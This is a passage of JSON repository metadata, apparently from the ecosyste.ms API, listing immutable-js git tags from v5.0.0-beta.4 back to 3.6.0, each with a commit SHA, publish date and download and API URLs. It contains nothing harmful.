e-js/tags/v5.0.0-beta.4/manifests"},{"name":"v5.0.0-beta.2","sha":"53bcb2fbf8e5ad7f9a29d4285a693873aeb29e8e","kind":"tag","published_at":"2023-08-25T13:52:29.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v5.0.0-beta.2","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v5.0.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.0-beta.2/manifests"},{"name":"v4.3.4","sha":"fdfc97514f1b288301c7a1ea73873bbd4c832ffb","kind":"commit","published_at":"2023-08-25T13:38:38.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.3.4","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.4/manifests"},{"name":"v5.0.0-beta.1","sha":"2a72ba41e8d72242ee42282fbca9c0b71e5dc567","kind":"commit","published_at":"2023-08-24T15:48:54.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v5.0.0-beta.1","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v5.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.0-beta.1/manifests"},{"name":"v4.3.3","sha":"2306527b42067bc433d9d32be12a7e561e85d9e0","kind":"commit","published_at":"2023-08-23T09:57:57.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.3.3","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.3/manifests"},{"name":"v4.3.2","sha":"7c30c7d5c4a42ea2c975024dcba7baf635ba0718","kind":"tag","published_at":"2023-08-01T14:30:26.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.3.2","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.2/manifests"},{"name":"v4.3.1","sha":"a4eaaf09f0c9199baf84b871646d7c4222fd4f72","kind":"commit","published_at":"2023-07-11T20:49:37.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.3.1","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.1/manifests"},{"name":"v4.3.0","sha":"41fcd04a1e02f9914e9304da316592ac2c83c7ed","kind":"commit","published_at":"2023-03-10T15:15:46.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.3.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.0/manifests"},{"name":"v4.2.4","sha":"11f988ae96af5b5ddae6897374834c540ab6a730","kind":"tag","published_at":"2023-02-06T08:09:44.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.2.4","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.2.4/manifests"},{"name":"v4.2.3","sha":"0eab8093186d5b14f4bf20eb47a1140cae5c4ae1","kind":"tag","published_at":"2023-02-02T20:04:35.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.2.3","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.2.3/manifests"},{"name":"v4.2.2","sha":"f172ca1f298028c25ee1fa0637b14c97439c103e","kind":"commit","published_at":"2023-01-02T15:10:00.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.2.2","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.2.2/manifests"},{"name":"v4.2.1","sha":"7e33ca96d861c0a67cd7c60c814389aee2cba1dd","kind":"commit","published_at":"2022-12-23T13:35:08.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.2.1","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.2.1/manifests"},{"name":"v4.2.0","sha":"d88f7221f1d3b960aeaf7aedd72e306d2b8b4cf5","kind":"commit","published_at":"2022-12-22T15:35:21.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.2.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.2.0/manifests"},{"name":"v4.1.0","sha":"f3cb38e545326125b9b1c225ece8b113d3c057d9","kind":"commit","published_at":"2022-05-23T18:56:11.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.1.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.1.0/manifests"},{"name":"v4.0.0","sha":"2ddb5c235f543464010569f9fb8249974fd56314","kind":"commit","published_at":"2021-10-07T23:46:00.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.0.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0/manifests"},{"name":"v4.0.0-rc.15","sha":"ec328d6b7b130ee884cad7c218e26c47becfe073","kind":"commit","published_at":"2021-09-16T22:53:50.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.0.0-rc.15","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.0.0-rc.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.0.0-rc.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.15/manifests"},{"name":"v4.0.0-rc.14","sha":"8afe18652ffb88dd20a5fa6c9c2fff932ff21a44","kind":"tag","published_at":"2021-07-07T23:50:36.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.0.0-rc.14","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.0.0-rc.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.0.0-rc.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.14/manifests"},{"name":"v4.0.0-rc.13","sha":"0e7d75024820e8da8d47a7ac061345b88bb7e1f6","kind":"tag","published_at":"2021-07-05T06:51:18.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.0.0-rc.13","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.0.0-rc.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.0.0-rc.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.13/manifests"},{"name":"v4.0.0-rc.12","sha":"40efbc31f7abcd9c26d714c9b5af0ba03b4dfcaa","kind":"tag","published_at":"2018-10-30T22:31:09.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.0.0-rc.12","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.0.0-rc.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.0.0-rc.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.12/manifests"},{"name":"v4.0.0-rc.11","sha":"b58c3abf9f82a8c7876bf5f3344e5abd0c351c64","kind":"tag","published_at":"2018-10-27T02:31:39.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.0.0-rc.11","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.0.0-rc.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.0.0-rc.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.11/manifests"},{"name":"v4.0.0-rc.10","sha":"f71ccd5db2016e0dbed72838ab81b931b5e90e9e","kind":"tag","published_at":"2018-09-19T18:52:31.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.0.0-rc.10","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.0.0-rc.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.0.0-rc.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.10/manifests"},{"name":"v4.0.0-rc.9","sha":"82d05a27bf6f9cb96ba30830c2009819d6906a98","kind":"tag","published_at":"2017-10-18T01:15:05.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.0.0-rc.9","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.0.0-rc.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.0.0-rc.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.9/manifests"},{"name":"v4.0.0-rc.8","sha":"9ae191a292d15a36ff1da3223507eaabafef2af8","kind":"tag","published_at":"2017-10-17T04:34:20.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.0.0-rc.8","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.0.0-rc.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.0.0-rc.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.8/manifests"},{"name":"v4.0.0-rc.7","sha":"5023b0dd8a16f43f4aa8aeeb2603b484abc6750e","kind":"tag","published_at":"2017-10-05T16:51:48.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.0.0-rc.7","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.0.0-rc.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.0.0-rc.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.7/manifests"},{"name":"v4.0.0-rc.6","sha":"1c863bd67452125c6ffbf795ce91bfabe40f06cf","kind":"tag","published_at":"2017-10-05T10:48:51.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.0.0-rc.6","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.0.0-rc.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.0.0-rc.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.6/manifests"},{"name":"v4.0.0-rc.5","sha":"de9f973f2c008283bd0c6fb3ef4095c173808f4b","kind":"tag","published_at":"2017-10-05T06:37:24.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.0.0-rc.5","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.0.0-rc.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.0.0-rc.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.5/manifests"},{"name":"v3.8.2","sha":"9e886489b3af4a9f327a5f71a1819dfb8517c025","kind":"tag","published_at":"2017-10-03T18:26:45.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v3.8.2","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v3.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v3.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v3.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v3.8.2/manifests"},{"name":"v4.0.0-rc.4","sha":"9af1caebea648cba32821f3856b33d5187679487","kind":"tag","published_at":"2017-10-02T22:39:38.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.0.0-rc.4","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.0.0-rc.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.0.0-rc.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.4/manifests"},{"name":"v4.0.0-rc.3","sha":"27b231c8952366ddb96ab2a20d1eb351b3c8719e","kind":"tag","published_at":"2017-09-30T03:35:16.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.0.0-rc.3","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.0.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.0.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.3/manifests"},{"name":"v4.0.0-rc.2","sha":"fecc9fc7bdd109210434c534b95c4288a057983f","kind":"tag","published_at":"2017-03-13T02:49:14.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.0.0-rc.2","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.0.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.0.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.2/manifests"},{"name":"v4.0.0-rc.1","sha":"2ad7a95e4800c069d16227058f16454440ff0ba9","kind":"tag","published_at":"2017-03-11T03:09:11.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.0.0-rc.1","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.0.0-rc.1/manifests"},{"name":"v3.8.1","sha":"e96d73f7e1fbeff00d03b09aa4352e04de61abb3","kind":"tag","published_at":"2016-04-18T22:03:22.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v3.8.1","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v3.8.1/manifests"},{"name":"v3.8.0","sha":"d2bcdfe8b00a6470162ec2f9c298bd4f4a68da0d","kind":"tag","published_at":"2016-04-16T00:18:26.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v3.8.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v3.8.0/manifests"},{"name":"3.7.6","sha":"67afd399e339c059ca4181a84c16c0a843a4d5a5","kind":"tag","published_at":"2015-12-16T05:57:20.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.7.6","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.7.6/manifests"},{"name":"3.7.5","sha":"e768a54393ca83ad0374ebf2a329a5a4c6bc4501","kind":"tag","published_at":"2015-09-02T19:34:49.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.7.5","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.7.5/manifests"},{"name":"3.7.4","sha":"09f04e910bd0b891d1373eb2cb2648a0546fab3d","kind":"tag","published_at":"2015-06-17T21:18:36.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.7.4","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.7.4/manifests"},{"name":"3.7.3","sha":"65d32014241521d3b0c935d5821e4cb54de8518f","kind":"tag","published_at":"2015-05-20T02:33:57.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.7.3","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.7.3/manifests"},{"name":"3.7.2","sha":"e6e1a225fce796bc70ad58fdc63ffd1f4a2a5604","kind":"tag","published_at":"2015-04-10T19:20:15.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.7.2","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.7.2/manifests"},{"name":"3.7.1","sha":"3799d5f223315a41ceb524b627e558c548f3b7c5","kind":"tag","published_at":"2015-03-29T20:26:25.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.7.1","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.7.1/manifests"},{"name":"3.7.0","sha":"3bb9792e6418d093bfa978109a1c99c4c1322d51","kind":"tag","published_at":"2015-03-27T05:28:34.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.7.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.7.0/manifests"},{"name":"3.6.4","sha":"27a22fcbce44f69cf7215d7262c0f1f6483d1e30","kind":"tag","published_at":"2015-03-08T01:01:36.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.6.4","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.6.4/manifests"},{"name":"3.6.3","sha":"e356d24405a496ad1deabf62cb8eeef624da946b","kind":"tag","published_at":"2015-03-07T22:18:48.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.6.3","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.6.3/manifests"},{"name":"3.6.2","sha":"d92ef7fc867860f8f46fa2c65241ecd7584e3768","kind":"tag","published_at":"2015-01-12T23:01:01.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.6.2","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.6.2/manifests"},{"name":"3.6.1","sha":"3540e3565c78b3ea7aa8b5c6eacaf509a2a8edcd","kind":"tag","published_at":"2015-01-12T21:10:45.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.6.1","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.6.1/manifests"},{"name":"3.6.0","sha":"922fb69fe8cf8607b29ee68e1409ed12d65